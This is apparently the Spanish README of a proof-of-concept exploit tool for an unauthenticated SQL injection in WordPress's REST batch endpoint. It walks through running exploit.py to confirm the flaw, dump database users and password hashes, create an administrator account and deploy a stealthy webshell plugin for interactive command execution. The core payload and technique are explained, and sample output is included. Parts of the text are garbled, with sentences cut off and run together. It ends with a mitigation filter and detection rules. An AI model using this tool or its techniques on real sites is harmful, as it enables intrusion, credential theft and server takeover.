
CVE-2026-63030 - Prueba de concepto de inyección SQL por confusión de rutas en el REST Batch de WordPress
Inyección SQL por confusión de rutas en el procesamiento por lotes de la API REST de WordPress (CVE-2026-63030) — Prueba de concepto
Investigación, desarrollo de exploits y documentación por Ch4120N
Este repositorio y la herramienta adjunta (exploit.py) están destinados estrictamente a fines educativos, pruebas de penetración autorizadas e investigación de seguridad.
El uso de este exploit contra objetivos sin consentimiento explícito, previo y por escrito es ilegal y viola las leyes globales contra el fraude y el abuso informático. El autor (Ch4120N) no asume absolutamente ninguna responsabilidad por el mal uso, los daños o las consecuencias legales derivadas del uso de este código. Actúe siempre dentro de los límites de la ley y obtenga la autorización adecuada.
CVE-2026-63030 es una vulnerabilidad crítica no autenticada que afecta a la API REST de WordPress. Explota un error de confusión de rutas dentro del endpoint de procesamiento por lotes anidado (/wp-json/batch/v1 o /?rest_route=/batch/v1).
Cuando WordPress procesa un lote de solicitudes de la API REST, valida cada sub-solicitud contra su esquema específico antes de la ejecución. Sin embargo, debido a una falla en la forma en que el puntero de enrutamiento interno maneja rutas deliberadamente malformadas (p. ej., ///), el esquema de validación se desincroniza del manejador de ejecución real.
/wp/v2/users (que no acepta author_exclude) sea ejecutada por el manejador de /wp/v2/posts. El parámetro author_exclude sin sanitizar se pasa directamente a la cláusula author__not_in de WP_Query, lo que resulta en una inyección SQL no autenticada.oembed_cache. El exploit utiliza entonces una carga útil changeset de Customizer para envenenar la caché del menú de navegación, engañando a WordPress para que ejecute una solicitud de creación de usuario bajo el contexto de un administrador existente.pip install.exploit.py).WP_Post falsa (1 solicitud por valor).EXTRACTVALUE() si WP_DEBUG_DISPLAY está habilitado.cd).No se requieren paquetes de terceros. Asegúrese de tener instalado Python 3.8 o superior.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
El exploit se divide en tres subcomandos principales: check, read y shell.
Estas opciones se aplican a todos los subcomandos:
check - Detección de vulnerabilidadesSondea el objetivo de forma segura para confirmar la presencia de los marcadores de confusión de rutas y prueba la temporización de la inyección SQL sin extraer datos.
read - Extracción de la base de datosExtrae datos directamente de la base de datos mediante la inyección SQL.
shell - Ejecución remota de códigoDespliega la webshell y ejecuta comandos. Si no se proporcionan credenciales, activa automáticamente el puente de creación de administrador pre-autenticación.
A continuación se muestran ejemplos reales de la herramienta en acción.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
Observe cómo la herramienta crea automáticamente una cuenta de administrador, despliega el shell y limpia todo al salir.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
El núcleo del exploit se basa en inyectar _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Esta URL no válida obliga al enrutamiento interno de WordPress a generar un WP_Error para la primera sub-solicitud. Esto desplaza el puntero interno, haciendo que la segunda sub-solicitud se valide contra un esquema, pero sea ejecutada por el manejador de la tercera sub-solicitud. De este modo, el parámetro author_exclude se cuela en el WP_Query.
En lugar de una inyección SQL ciega lenta, la herramienta utiliza un UNION SELECT para inyectar una fila wp_posts falsa y completamente formada. Al establecer orderby=none y per_page=500, evita que WP_Query divida la consulta. El post_title inyectado contiene el resultado codificado en hexadecimal de la expresión SQL objetivo, envuelto en delimitadores ||, que se refleja directamente en la respuesta JSON de la API REST.
El plugin PHP desplegado está diseñado para un alto nivel de sigilo:
wp_a1b2c3d4.php).t) y un comando (c) mediante parámetros GET.hash_equals() para prevenir ataques de temporización sobre el token.chdir) para evitar la divulgación de rutas.EXPLOIT::...::END para su análisis limpio por el cliente Python.mu-plugins):
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1 anidadas que contengan author_exclude en la URI.UNION, SLEEP() o EXTRACTVALUE en los parámetros de URL./// en solicitudes a la API REST.WP_DEBUG_DISPLAY esté establecido en en para evitar la fuga de información por inyección SQL basada en errores."Un gran poder conlleva una gran responsabilidad. Usa este conocimiento para defender, no para destruir."
— Ch4120N
| Opción | Descripción | Por defecto |
|---|
url | URL base del objetivo (p. ej., http://target.com) | Requerido |
--rest-route | Usa /?rest_route=/batch/v1 en lugar de /wp-json/batch/v1 (para sitios con permalinks deshabilitados). | False |
--timeout | Tiempo de espera de la solicitud HTTP en segundos. | 30.0 |
--proxy | Proxy HTTP/HTTPS (p. ej., http://127.0.0.1:8080). | None |
| Opción | Descripción | Por defecto |
|---|
--sleep | Retardo de temporización SQL (segundos) utilizado por el mecanismo de respaldo --confirm-sqli. | 3.0 |
--samples | Número de pares de temporización SQL (de referencia/retardada) a probar. | 3 |
--confirm-sqli | Envía una carga útil activa de confirmación de la inyección SQL (añade un ligero retardo). | False |
| Opción | Descripción | Por defecto |
|---|
--preset | Preajustes de extracción rápida: fingerprint (versión/usuario/BD) o users (logins/hashes). | fingerprint |
--query | Ejecuta una expresión SQL escalar personalizada (p. ej., "SELECT @@version"). | None |
--prefix | Prefijo de las tablas de la base de datos. | wp_ |
--max-length | Máximo de caracteres a extraer por valor. | 128 |
--technique | Técnica de extracción: auto, union, error o blind. | auto |
| Opción | Descripción | Por defecto |
|---|
--user | Nombre de usuario del administrador. (Omitir para usar el puente pre-autenticación). | None |
--password | Contraseña del administrador. (Omitir para usar el puente pre-autenticación). | None |
--cmd | Comando único para ejecutar en el objetivo. | None |
-i, --interactive | Abre un shell interactivo (REPL) después del despliegue. | False |
falsewp-config.php